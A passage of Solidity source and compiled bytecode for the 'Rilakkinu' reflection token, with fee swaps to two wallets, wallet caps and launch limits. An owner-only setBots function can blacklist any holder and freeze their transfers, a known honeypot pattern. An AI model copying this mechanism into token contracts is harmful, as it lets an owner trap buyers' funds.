uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RILAKKINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Rilakkinu";
string private constant _symbol = unicode"Rilakkinu";
uint8 private constant _decimals = 9;
uint256 private constant _initTaxFee = 2;
uint256 private constant _initTeamFee = 10;
uint256 private _taxFee = _initTaxFee;
uint256 private _teamFee = _initTeamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable public _FeeAddress;
address payable public _marketingWalletAddress;
uint256 public _maxWalletSize = 80000000 * 10**9; // 8%
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _noTaxMode = false;
bool private inSwap = false;
uint256 private walletLimitDuration;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if (walletLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
walletLimitDuration = block.timestamp + (15 minutes);
}
function setMarketingWallet (address payable marketingWalletAddress) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function excludeFromFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external {
require(_msgSender() == _FeeAddress);
_noTaxMode = onoff;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == _FeeAddress);
require(team < _initTeamFee);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _FeeAddress);
require(tax < _initTaxFee);
_taxFee = tax;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function getCurrTaxRate() public view returns (uint) {
return _taxFee;
}
function getCurrTeamRate() public view returns (uint) {
return _teamFee;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101d15760003560e01c806370a08231116100f7578063c3c8cd8011610095578063cf0848f711610064578063cf0848f714610639578063db92dbb614610662578063dd62ed3e1461068d578063e6ec64ec146106ca576101d8565b8063c3c8cd80146105b7578063c4081a4c146105ce578063c9567bf9146105f7578063cbf1ecdd1461060e576101d8565b80638f9a55c0116100d15780638f9a55c0146104fb57806395d89b4114610526578063a9059cbb14610551578063b515566a1461058e576101d8565b806370a082311461047c578063715018a6146104b95780638da5cb5b146104d0576101d8565b806327f3a72a1161016f578063437823ec1161013e578063437823ec146103ea5780634b740b16146104135780635d098b381461043c5780636fc3eaec14610465576101d8565b806327f3a72a1461032c578063313ce567146103575780633bbac579146103825780634144d9e4146103bf576101d8565b80631af72430116101ab5780631af724301461027057806323b872dd1461029b57806323dd2737146102d8578063273123b714610303576101d8565b806306fdde03146101dd578063095ea7b31461020857806318160ddd14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f26106f3565b6040516101ff919061351b565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190612ff8565b610730565b60405161023c9190613500565b60405180910390f35b34801561025157600080fd5b5061025a61074e565b60405161026791906136bd565b60405180910390f35b34801561027c57600080fd5b5061028561075e565b60405161029291906136bd565b60405180910390f35b3480156102a757600080fd5b506102c260048036038101906102bd9190612fa5565b610768565b6040516102cf9190613500565b60405180910390f35b3480156102e457600080fd5b506102ed610841565b6040516102fa91906136bd565b60405180910390f35b34801561030f57600080fd5b5061032a60048036038101906103259190612ede565b61084b565b005b34801561033857600080fd5b5061034161093b565b60405161034e91906136bd565b60405180910390f35b34801561036357600080fd5b5061036c61094b565b6040516103799190613732565b60405180910390f35b34801561038e57600080fd5b506103a960048036038101906103a49190612ede565b610954565b6040516103b69190613500565b60405180910390f35b3480156103cb57600080fd5b506103d46109aa565b6040516103e19190613432565b60405180910390f35b3480156103f657600080fd5b50610411600480360381019061040c9190612f38565b6109d0565b005b34801561041f57600080fd5b5061043a60048036038101906104359190613081565b610a8c565b005b34801561044857600080fd5b50610463600480360381019061045e9190612f38565b610b0a565b005b34801561047157600080fd5b5061047a610c81565b005b34801561048857600080fd5b506104a3600480360381019061049e9190612ede565b610cf3565b6040516104b091906136bd565b60405180910390f35b3480156104c557600080fd5b506104ce610d44565b005b3480156104dc57600080fd5b506104e5610e97565b6040516104f29190613417565b60405180910390f35b34801561050757600080fd5b50610510610ec0565b60405161051d91906136bd565b60405180910390f35b34801561053257600080fd5b5061053b610ec6565b604051610548919061351b565b60405180910390f35b34801561055d57600080fd5b5061057860048036038101906105739190612ff8565b610f03565b6040516105859190613500565b60405180910390f35b34801561059a57600080fd5b506105b560048036038101906105b09190613038565b610f21565b005b3480156105c357600080fd5b506105cc611131565b005b3480156105da57600080fd5b506105f560048036038101906105f091906130db565b6111ab565b005b34801561060357600080fd5b5061060c611223565b005b34801561061a57600080fd5b5061062361174d565b6040516106309190613432565b60405180910390f35b34801561064557600080fd5b50610660600480360381019061065b9190612f38565b611773565b005b34801561066e57600080fd5b5061067761182f565b60405161068491906136bd565b60405180910390f35b34801561069957600080fd5b506106b460048036038101906106af9190612f65565b611861565b6040516106c191906136bd565b60405180910390f35b3480156106d657600080fd5b506106f160048036038101906106ec91906130db565b6118e8565b005b60606040518060400160405280600981526020017f52696c616b6b696e750000000000000000000000000000000000000000000000815250905090565b600061074461073d611960565b8484611968565b6001905092915050565b6000670de0b6b3a7640000905090565b6000600954905090565b6000610775848484611b33565b61083684610781611960565b61083185604051806060016040528060288152602001613e8860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107e7611960565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122319092919063ffffffff16565b611968565b600190509392505050565b6000600a54905090565b610853611960565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d7906135dd565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061094630610cf3565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a11611960565b73ffffffffffffffffffffffffffffffffffffffff1614610a3157600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610acd611960565b73ffffffffffffffffffffffffffffffffffffffff1614610aed57600080fd5b80601160156101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4b611960565b73ffffffffffffffffffffffffffffffffffffffff1614610b6b57600080fd5b600060056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cc2611960565b73ffffffffffffffffffffffffffffffffffffffff1614610ce257600080fd5b6000479050610cf081612295565b50565b6000610d3d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612390565b9050919050565b610d4c611960565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd0906135dd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600981526020017f52696c616b6b696e750000000000000000000000000000000000000000000000815250905090565b6000610f17610f10611960565b8484611b33565b6001905092915050565b610f29611960565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fad906135dd565b60405180910390fd5b60005b815181101561112d57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061100e5761100d613a8c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110a25750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061108157611080613a8c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561111a576001600660008484815181106110c0576110bf613a8c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080611125906139e5565b915050610fb9565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611172611960565b73ffffffffffffffffffffffffffffffffffffffff161461119257600080fd5b600061119d30610cf3565b90506111a8816123fe565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111ec611960565b73ffffffffffffffffffffffffffffffffffffffff161461120c57600080fd5b6002811061121957600080fd5b8060098190555050565b61122b611960565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112af906135dd565b60405180910390fd5b601160149054906101000a900460ff1615611308576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ff9061367d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061139730601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611968565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156113dd57600080fd5b505afa1580156113f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114159190612f0b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561147757600080fd5b505afa15801561148b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114af9190612f0b565b6040518363ffffffff1660e01b81526004016114cc92919061344d565b602060405180830381600087803b1580156114e657600080fd5b505af11580156114fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061151e9190612f0b565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306115a730610cf3565b6000806115b2610e97565b426040518863ffffffff1660e01b81526004016115d49695949392919061349f565b6060604051808303818588803b1580156115ed57600080fd5b505af1158015611601573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116269190613108565b505050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016116c8929190613476565b602060405180830381600087803b1580156116e257600080fd5b505af11580156116f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171a91906130ae565b506001601160146101000a81548160ff0219169083151502179055506103844261174491906137f3565b60128190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117b4611960565b73ffffffffffffffffffffffffffffffffffffffff16146117d457600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061185c601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cf3565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611929611960565b73ffffffffffffffffffffffffffffffffffffffff161461194957600080fd5b600a811061195657600080fd5b80600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cf9061365d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3f9061357d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b2691906136bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9a9061361d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0a9061353d565b60405180910390fd5b60008111611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d906135fd565b60405180910390fd5b611c5e610e97565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ccc5750611c9c610e97565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561215757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d755750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d7e57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e295750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e7f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f3a57601160149054906101000a900460ff16611ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eca9061369d565b60405180910390fd5b426012541115611f39576000611ee883610cf3565b9050611f196064611f0b6002670de0b6b3a764000061268690919063ffffffff16565b61270190919063ffffffff16565b611f2c828461274b90919063ffffffff16565b1115611f3757600080fd5b505b5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611fe757600f5481611f9c84610cf3565b611fa691906137f3565b10611fe6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fdd9061363d565b60405180910390fd5b5b6000611ff230610cf3565b9050601160169054906101000a900460ff1615801561205f5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156120775750601160149054906101000a900460ff165b1561215557600081111561213b576120d660646120c860056120ba601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cf3565b61268690919063ffffffff16565b61270190919063ffffffff16565b8111156121315761212e60646121206005612112601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cf3565b61268690919063ffffffff16565b61270190919063ffffffff16565b90505b61213a816123fe565b5b600047905060008111156121535761215247612295565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121fe5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806122155750601160159054906101000a900460ff165b1561221f57600090505b61222b848484846127a9565b50505050565b6000838311158290612279576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612270919061351b565b60405180910390fd5b506000838561228891906138d4565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122e560028461270190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612310573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61236160028461270190919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561238c573d6000803e3d6000fd5b5050565b60006007548211156123d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ce9061355d565b60405180910390fd5b60006123e16127d6565b90506123f6818461270190919063ffffffff16565b915050919050565b6001601160166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561243657612435613abb565b5b6040519080825280602002602001820160405280156124645781602001602082028036833780820191505090505b509050308160008151811061247c5761247b613a8c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561251e57600080fd5b505afa158015612532573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125569190612f0b565b8160018151811061256a57612569613a8c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125d130601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611968565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126359594939291906136d8565b600060405180830381600087803b15801561264f57600080fd5b505af1158015612663573d6000803e3d6000fd5b50505050506000601160166101000a81548160ff02191690831515021790555050565b60008083141561269957600090506126fb565b600082846126a7919061387a565b90508284826126b69190613849565b146126f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ed906135bd565b60405180910390fd5b809150505b92915050565b600061274383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612801565b905092915050565b600080828461275a91906137f3565b90508381101561279f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127969061359d565b60405180910390fd5b8091505092915050565b806127b7576127b6612864565b5b6127c28484846128a7565b806127d0576127cf612a72565b5b50505050565b60008060006127e3612a86565b915091506127fa818361270190919063ffffffff16565b9250505090565b60008083118290612848576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283f919061351b565b60405180910390fd5b50600083856128579190613849565b9050809150509392505050565b600060095414801561287857506000600a54145b15612882576128a5565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b6000806000806000806128b987612ae5565b95509550955095509550955061291786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b4d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129ac85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129f881612b97565b612a028483612c54565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a5f91906136bd565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000670de0b6b3a76400009050612aba670de0b6b3a764000060075461270190919063ffffffff16565b821015612ad857600754670de0b6b3a764000093